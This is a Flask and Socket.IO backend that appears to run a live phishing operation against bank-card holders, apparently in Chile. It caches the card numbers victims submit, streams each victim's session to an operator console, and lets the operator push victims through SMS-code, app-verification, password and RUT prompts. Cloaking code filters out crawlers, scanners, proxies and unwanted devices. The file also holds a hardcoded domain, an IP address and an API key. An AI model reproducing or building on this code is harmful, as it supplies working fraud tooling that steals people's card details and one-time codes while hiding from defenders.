import concurrent.futures
import logging
from datetime import datetime, timedelta
from threading import Lock

import requests
from flask import jsonify, request
from flask_socketio import emit

from app import socketio_app
from .commonApiInterface import updateUserInfoByUniqueCode
from .loggerInfo import updateLogInfoByIp
from .loggerInfoBlack import updateLogInfoByIp4Black
from .commonSetting import check_card_status
from ..base import base
from user_agents import parse
# 设置日志配置
from ..models.SourceCodeInfo import SourceCodeInfo
import time
from collections import defaultdict
import threading

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
# 设定速率限制参数
RATE_LIMIT = 10  # 允许的请求次数
TIME_WINDOW = 60  # 时间窗口(单位：秒
# 存储每个 IP 的请求计数和时间戳
rate_limit_data = defaultdict(list)
# 存储用户会话的字典
userSessionMap = {}
# 用于存储C端用户数据的集合
userDataMap = {}

# 用于存储B端用户数据的集合
adminUserSessionMap = {}
# 防爬虫集合
bot_ips_set = set()
# 链接锁
connect_lock = Lock()
# 断开锁
disconnect_lock = Lock()
# 消息发送锁
sendMsg_lock = Lock()

# 创建一个异步线程池
executor = concurrent.futures.ThreadPoolExecutor()


@base.route('/wb/clientIpCheck', methods=['GET'])
def clientIpCheck():
    ip = "154.82.128.23"
    ua = request.headers.get('User-Agent')
    host = request.host
    client_url = request.url
    domain = "chl.corros.top"
    user_agent = parse(ua)
    device = user_agent.device.family
    # 初始化结果值
    result = 'true'

    logger.info(f"clientIpCheck|请求ip:{ip}, ua:{ua}, device:{device}")
    # 机器人检查
    botResponse = isBotCheck(ip, ua, client_url)
    if not botResponse[0].json.get("success"):
        return jsonify({"success": 'false'}), 200
    # 速率检查
    rateResponse = rateLimitCheck(ip, client_url)
    if not rateResponse[0].json.get("success"):
        return jsonify({"success": 'false'}), 200
    # 请求参数检查
    existing_record = SourceCodeInfo.query.filter_by(domain_url=domain).first()
    if existing_record:
        if existing_record.http_url != client_url:
            log_data_back = {
                'type': 'illegal-url',  # 根据需求设定
                'remark': "用户非指定入口访问前台页面",
                'ip': ip,
                'url': client_url,
                'info': f"用户请求地址:{client_url}--实际请求地址:{existing_record.http_url}"
            }
            updateLogInfoByIp4Black(log_data_back)
            logger.info(f"rateLimitCheck|用户非指定入口访问前台页面: {ip}")
            return jsonify({"success": 'false'}), 200
    # 设置入参
    try:
        url = f"https://pro.ip-api.com/json/{ip}?key=3p7Gx18TRGoCwdF&fields=188479&lang=zh-CN"
        response = requests.get(url)
        # 判断请求是否成功
        if response and str(response.json().get('status')).lower() == 'success':
            data = response.json()
            logger.info(f"clientIpCheck|代理和位置返回信息:{data}")
            remark = "用户成功进入访问页面"
            title = "代理IP方式-访问" if str(data.get('proxy')).lower() == 'true' else "非代理IP方式-进入"
            log_data = {
                'type': 'success-enter',
                'title': title,
                'location': f"{data.get('country')}-{data.get('regionName')}-{data.get('city')}",
                'remark': remark,
                'ip': ip,
                'host': host,
                'ua': ua,
                'url': client_url,
                'domain': domain,
                'device': device,
                'access': 0
            }
            updateLogInfoByIp(log_data)
            # 黑名单检测
            if existing_record:
                result_flag = handle_blacklist_check(existing_record, ip, client_url, user_agent, data.get('proxy'),
                                                     device)
                if not result_flag:
                    result = 'false'

            return jsonify({"success": result})
        else:
            # 处理请求非200的情况
            data = response.json()
            title = "用户成功进入页面"
            info = "未知代理信息"
            if data:
                info = data.get('message')
            log_data = {
                'type': 'success-enter',
                'title': title,
                'location': '未知地理信息',
                'info': info,
                'ip': ip,
                'host': host,
                'ua': ua,
                'url': client_url,
                'domain': domain,
                'device': device,
                'access': 0
            }
            updateLogInfoByIp(log_data)
            if existing_record:
                result_flag = handle_blacklist_check(existing_record, ip, client_url, user_agent, "false", device)
                if not result_flag:
                    result = 'false'
        return jsonify({"success": result}), 200
    except Exception as e:
        logger.error(f"clientIpCheck|请求服务异常: {str(e)}")
        return jsonify({"success": 'true'}), 200


@socketio_app.on('connect')
def handleConnect():
    try:
        sid = request.sid  # 获取用户的 session ID
        unique_code = request.args.get('unique_code')

        user_ip = request.remote_addr  # 获取客户端 IP 地址
        ua = request.headers.get('User-Agent')  # 获取用户代理
        page_url = request.host  # 获取域名或主机名（如 localhost:5000）

        client_page = request.args.get('client_page')  # 获取 client_page 参数
        client_time = request.args.get('client_time')  # 获取 client_page 参数

        # 检查 client_page 参数，如果存在并且值为 'true'，则不进行任何操作
        if client_page is not None and client_page.lower() == 'true':
            admin_user_id = request.args.get('admin_user_id')  # 获取 client_page 参数
            key = f"{admin_user_id}_{user_ip}"  # 组合键
            logger.info(f"connect|后台用户链接进来了:{key}")
            adminUserSessionMap[key] = sid
            return  # 直接返回，结束函数，不进行后续操作
            # 组装用户信息
        user_info = {
            'unique_code': unique_code,
            'client_time': client_time
        }
        with connect_lock:  # 使用锁来防止并发修改
            # 更新 session ID
            userSessionMap[unique_code] = sid
            logger.info(f"connect|sid和unique_code对比数据: {unique_code} sid: {sid}")
            if unique_code:
                if unique_code in userDataMap:
                    # UUID 存在，更新已有数据
                    logger.info(f"connect|老用户重新进入了:{unique_code}")
                    data = userDataMap[unique_code]
                    data['page_status'] = 0  # 标记用户状态为有效
                    data['button_status'] = 0  # 不展示
                    emit('receive_message_admin', {'message': data}, broadcast=True)
                else:
                    # 组装数据库用户信息
                    db_info = {
                        'unique_code': unique_code,
                        'user_ip': user_ip,
                        'ua': ua,
                        'page_url': page_url
                    }
                    # UUID 不存在，插入新数据
                    result = updateUserInfoByUniqueCode(db_info)
                    logger.info(f"connect|新用户进入了:{result}")
                    # 组装用户信息
                    user_info['card_status'] = 0  # 标记用户状态为有效
                    user_info['page_status'] = 0  # 标记用户状态为有效
                    user_info['button_status'] = 0  # 不展示
                    userDataMap[unique_code] = user_info
                    # 广播消息到后台
                    emit('receive_message_admin', {'message': user_info}, broadcast=True)
            # 输出在线用户数
            logger.info(f"connect|当前页面在线人数: {len(userDataMap)}")
    except Exception as e:
        logger.error(f"connect|链接异常: {str(e)}")


# 处理断开连接事件
@socketio_app.on('disconnect')
def handle_disconnect():
    try:
        sid = request.sid
        unique_code = None
        logger.info(f"disconnect|用户离开了 sid: {sid}")
        # 加锁，确保在访问和修改共享数据时不会有其他线程干扰
        with disconnect_lock:
            # 剔除B端的用户
            for uid, s in adminUserSessionMap.items():
                if s == sid:
                    del adminUserSessionMap[uid]  # 删除 session ID
                    break
            # 查找并删除与 sid 关联的 unique_code
            for uid, s in userSessionMap.items():
                if s == sid:
                    unique_code = uid
                    del userSessionMap[uid]  # 删除 session ID
                    break
            if unique_code:
                # 如果 user_data 中有对应的 unique_code
                if unique_code in userDataMap:
                    data = userDataMap[unique_code]
                    data['page_status'] = -1  # 标记用户状态为断开
                    # 推送用户断开信息到后台
                    emit('receive_message_admin', {'message': data}, broadcast=True)
                    logger.info(f"disconnect|用户离开页面本地数据更新: {data}")
                    # # 从本地缓存中移除用户数据
                else:
                    logger.warning(f"disconnect|未找到 unique_code 为 {unique_code} 的用户数据")

            logger.info(f"disconnect|用户{unique_code}离开页面,当前在线人数：{len(userDataMap)}")
    except Exception as e:
        logger.error(f"disconnect|断开链接异常: {str(e)}")


# 客户端发送消息处理
@socketio_app.on('client_send_message')
def handle_send_message(data):
    logger.info(f"handle_send_message|收到请求参数：{data}")
    try:
        # 加锁，确保在访问和修改共享数据时不会有其他线程干扰
        with sendMsg_lock:
            # 将数据缓存
            try:
                cached_data = putLocalCache(data)
                # 如果缓存成功，进行数据校验
                if cached_data:
                    # 将数据广播到后台
                    emit('receive_message_admin', {'message': cached_data}, broadcast=True)
                else:
                    logger.warning(f"handle_send_message|消息推送,未能缓存数据，无法发送到客户端")
            except Exception as e:
                logger.error(f"handle_send_message|页面数据本地缓存时发生异常: {str(e)}")
    except Exception as e:
        logger.error(f"handle_send_message|本地操作数据异常: {str(e)}")

    # 异步更新数据库中的数据，移出锁的保护
    try:
        executor.submit(updateUserInfoByUniqueCode, data)
        logger.info(f"handle_send_message|数据异步存储数据库成功")
    except Exception as e:
        logger.error(f"handle_send_message|数据异步存储数据库发生异常: {str(e)}")

def actionTypeUpdateData(data):
    logger.info(f"actionTypeUpdateData|收到请求参数：{data}")
    try:
        # 加锁，确保在访问和修改共享数据时不会有其他线程干扰
        with sendMsg_lock:
            # 将数据缓存
            try:
                cached_data = putLocalCache(data)
                # 如果缓存成功，进行数据校验
                if cached_data:
                    # 将数据广播到后台
                    emit('receive_message_admin', {'message': cached_data}, broadcast=True,namespace='/')
                else:
                    logger.warning(f"actionTypeUpdateData|消息推送,未能缓存数据，无法发送到客户端")
            except Exception as e:
                logger.error(f"actionTypeUpdateData|页面数据本地缓存时发生异常: {str(e)}")
    except Exception as e:
        logger.error(f"actionTypeUpdateData|本地操作数据异常: {str(e)}")

@base.route('/wb/jumpNextStepAction', methods=['GET'])
def jumpNextStepAction():
    # 获取 URL 查询参数中的 unique_code 和 actionType
    try:
        unique_code = request.args.get('unique_code')
        message = request.args.get('message')
        action_type = request.args.get('action_type')  # 1验证码验证；2APP验证 3拒绝卡号
        #  4跳转完成 5密码确认 6.RUT+密码确认,7返回上一步 8接收验证码 9改app验证 10拒绝验证码
        # 根据 action_type 设置 button_status
        if action_type == '1':
            button_status = 3
        elif action_type == '8':
            button_status = 0  # 如果 action_type = 3, button_status = 4
        elif action_type == '3':
            button_status = 4  # 如果 action_type = 3, button_status = 4
        elif action_type == '3':
            button_status = 0  # 如果 action_type = 3, button_status = 4
        else:
            button_status = 0  # 对于其他情况，

        updateData = {
            'unique_code': unique_code,
            'button_status': button_status
        }
        logger.info(f"jumpNextStepAction|修改后的button_status：{button_status}, actionType：{action_type},unique_code:{unique_code}")
        # 修改后台数据
        actionTypeUpdateData(updateData)
        data = userDataMap[unique_code]
        logger.info(f"jumpNextStepAction|修改后的 data：{data}")
        # 根据 unique_code 获取 session ID
        sid = userSessionMap.get(unique_code)
        if not sid:
            logger.warning(f"jumpNextStepAction|基于unique_code:{unique_code}未查询到sid")
            return jsonify({"result": 'fail'}), 404
        # 发送 'redirect_new_page' 事件给指定的用户 session
        socketio_app.emit('jump_next_step_action', {'action_type': action_type,'message':message}, to=sid, namespace='/')
        logger.info(f"jumpNextStepAction|跳转用户的sid：{sid}, actionType：{action_type},unique_code:{unique_code}")
        # 返回响应确认跳转事件已发送
        return jsonify({"result": 'suceess'}), 200
    except Exception as e:
        logger.error(f"jumpNextStepAction|服务异常: {str(e)}")


@base.route('/wb/refreshPage', methods=['GET'])
def refreshPage():
    try:
        # 打印日志，记录每次请求
        logger.info("refreshPage|刷新页面")

        if not userDataMap:
            return jsonify({'onlineUsersCount': 0, 'userDataMap': {}}), 200  # userDataMap 为空时返回
        # 获取当前时间
        current_time = datetime.now()
        # 直接在 userDataMap 中删除 client_time 小于当前时间 100 分钟的记录
        user_ids_to_remove = [
            user_id for user_id, data in userDataMap.items()
            if (data.get('client_time') is None) or  # client_time 为空时也包含
               (current_time - datetime.fromisoformat(data['client_time'])) > timedelta(hours=24)  # 时间差判断
        ]
        # 从 userDataMap 中删除这些用户数据
        for user_id in user_ids_to_remove:
            del userDataMap[user_id]
        # 过滤 userDataMap 中 page_status == -1 的用户数据
        filtered_user_data_map = {
            user_id: data for user_id, data in userDataMap.items()
            if data.get('page_status') != -1
        }
        # 构造返回数据
        response_data = {
            'onlineUsersCount': len(filtered_user_data_map),
            'userDataMap': filtered_user_data_map
        }
        # 返回 JSON 数据并设置一些缓存控制策略，防止客户端缓存响应
        return jsonify(response_data), 200
    except Exception as e:
        logger.info(f"refreshPage|刷新页面时发生错误: {str(e)}")
        return jsonify({'error': 'An error occurred while refreshing the page'}), 500


@base.route('/wb/userDataCacheClear', methods=['GET'])
def userDataCacheClear():
    try:
        # 打印日志，记录每次请求
        logger.info("userDataCacheClear|清空数据发生异常")
        if not userDataMap:
            return jsonify({'onlineUsersCount': 0, 'userDataMap': {}}), 200  # userDataMap 为空时返回
        userDataMap.clear()
        # 返回 JSON 数据并设置一些缓存控制策略，防止客户端缓存响应
        return jsonify({'onlineUsersCount': 0, 'userDataMap': {}}), 200  # userDataMap 为空时返回
    except Exception as e:
        logger.info(f"userDataCacheClear|清空数据发生异常: {str(e)}")
        return jsonify({'error': 'An error occurred while refreshing the page'}), 500


# 提供一个 API 来获取当前C端在线人数
@base.route('/wb/onlineCount', methods=['GET'])
def get_client_online_count():
    logger.info("onlineCount|C端获取在线人数")
    return jsonify({'online_count': len(userDataMap)})


# 提供一个 API 来获取当前B端在线人数
@base.route('/wb/onlineCount4Admin', methods=['GET'])
def get_admin_online_count():
    logger.info("onlineCount4Admin|后台获取在线人数")
    return jsonify({'online_count': len(adminUserSessionMap)})


def putLocalCache(data):
    try:
        logger.info(f"putLocalCache|开始本地缓存用户数据：{data}")
        unique_code = data.get('unique_code')
        # 变更时间字段
        if unique_code:
            # 检查缓存数据中的 card_number 字段是否存在
            card_number = data.get('card_number')
            if card_number and len(card_number) > 6:
                # 判断卡信息
                data['card_status'] = check_card_status(card_number)
            if unique_code in userDataMap:
                # UUID 存在，更新已有数据
                userDataMap[unique_code].update(data)
                print(f"putLocalCache|本地缓存用户数据已更新：{userDataMap[unique_code]}")
            else:
                # UUID 不存在，插入新数据
                userDataMap[unique_code] = data
                logger.info(f"putLocalCache|本地缓存用户数据已插入：{userDataMap[unique_code]}")
            # 返回更新后的数据
            return userDataMap[unique_code]
        else:
            logger.warning("putLocalCache|数据中没有 unique_code，无法缓存")
            return None
    except Exception as e:
        logger.error("putLocalCache|发生异常：", str(e))
        return None


def is_bot_v1(user_agent):
    """检查 User-Agent 是否来自爬虫"""
    bots = [
        "Googlebot",  # Google 爬虫
        "Bingbot",  # Bing 爬虫
        "Slurp",  # Yahoo 爬虫
        "DuckDuckBot",  # DuckDuckGo 爬虫
        "Baiduspider",  # 百度爬虫
        "Spider",  # 一些通用的爬虫
        "Bot",  # 一些通用的爬虫
        "Crawl",  # 一些通用的爬虫
        "wget",  # wget 工具
        "curl",  # curl 工具
        "HTTrack",  # HTTrack 工具
    ]

    return any(bot in user_agent for bot in bots)


def is_bot_v2(user_agent):
    """使用 user-agents 库检查是否为爬虫"""
    user_agent_parsed = parse(user_agent)
    return user_agent_parsed.is_bot


def isBotCheck(ip, user_agent, client_url):
    try:
        # 检查该 IP 是否已被禁止访问
        if ip in bot_ips_set:
            logger.warning(f"isBotCheck|请求ip重复进入:{ip}")
            return jsonify({"success": False, "message": "Access denied for this IP."}), 403
        # 检查 User-Agent 是否为爬虫
        if is_bot_v2(user_agent):
            logger.warning(f"isBotCheck|请求ip:{ip},没有通过is_bot_V2检查")
            bot_ips_set.add(ip)
            log_data_back = {
                'type': 'Robot-access',  # 根据需求设定
                'remark': "爬虫IP访问-爬虫库检测",
                'ip': ip,
                'url': client_url
            }
            updateLogInfoByIp4Black(log_data_back)
            return jsonify({"success": False, "message": "Your access has been logged and denied."}), 403
        if is_bot_v1(user_agent):
            logger.warning(f"isBotCheck|请求ip:{ip},没有通过is_bot_V1检查")
            bot_ips_set.add(ip)
            log_data_back = {
                'type': 'Robot-access',  # 根据需求设定
                'remark': "爬虫IP访问-链接检测",
                'ip': ip,
                'url': client_url
            }
            updateLogInfoByIp4Black(log_data_back)
            return jsonify({"success": False, "message": "Your access has been logged and denied."}), 403
        logger.info(f"isBotCheck|通过机器人检查: {ip}")
        return jsonify({"success": True, "message": "Welcome, human user!"}), 200
    except Exception as e:
        logger.error(f"isBotCheck|请求服务异常: {str(e)}")
        return jsonify({"success": True, "message": "Welcome, human user!"}), 200


def handle_blacklist_check(existing_record, ip, client_url, user_agent, proxy, device):
    """检查黑名单并记录日志"""

    conditions = {
        'intercept_proxy': ("禁止代理用户访问", str(proxy).lower() == 'true'),
        'intercept_computer': ("禁止通过电脑访问", user_agent.is_pc),
        'intercept_ios': ("禁止通过苹果设备访问", device.lower() in ['ios', 'iphone', 'ipad']),
        'intercept_android': ("禁止通过安卓设备访问", device.lower() in ['android']),
    }

    for key, (remark, condition) in conditions.items():
        if getattr(existing_record, key) == 1 and condition:
            log_data_back = {
                'type': request.args.get('type'),  # 根据需求设定
                'remark': remark,
                'ip': ip,
                'url': client_url
            }
            updateLogInfoByIp4Black(log_data_back)
            logger.info(f"clientIpCheck|页面开启-{remark}，并且拦截成功:{ip}")
            return False  # 拦截信号
    return True  # 没有拦截


def rateLimitCheck(ip, client_url):
    logger.info(f"rateLimitCheck|请求参数: {ip}")
    try:

        current_time = time.time()

        # 获取该 IP 的请求记录
        timestamps = rate_limit_data[ip]

        # 清理过期的请求时间
        timestamps = [t for t in timestamps if t > current_time - TIME_WINDOW]
        rate_limit_data[ip] = timestamps

        # 检查当前请求数是否超过限制
        if len(timestamps) >= RATE_LIMIT:
            log_data_back = {
                'type': 'Rate-limit',  # 根据需求设定
                'remark': "IP超过每秒访问限制",
                'ip': ip,
                'url': client_url
            }
            updateLogInfoByIp4Black(log_data_back)
            logger.info(f"rateLimitCheck|IP超过每秒访问限制: {ip}")
            return jsonify({"success": False, "message": "Rate limit exceeded. Try again later."}), 429

        # 记录当前请求的时间戳
        timestamps.append(current_time)
        rate_limit_data[ip] = timestamps
        # 继续处理请求
        logger.info(f"rateLimitCheck|通过访问限制检查: {ip}")
        return jsonify({"success": True, "message": "Request processed successfully."}), 200
    except Exception as e:
        logger.error(f"rateLimitCheck|请求服务异常: {str(e)}")
        return jsonify({"success": True, "message": "rateLimitCheck error!"}), 200


# 简单的定时任务
def schedule_task_1hour():
    logger.info(f"schedule_task_1hour|清除rate_limit_data集合信息")
    rate_limit_data.clear()


# 设置每隔 10 秒执行一次 my_task
def common_schedule_task():
    schedule_task_1hour()
    threading.Timer(3600, schedule_task_1hour).start()


common_schedule_task()
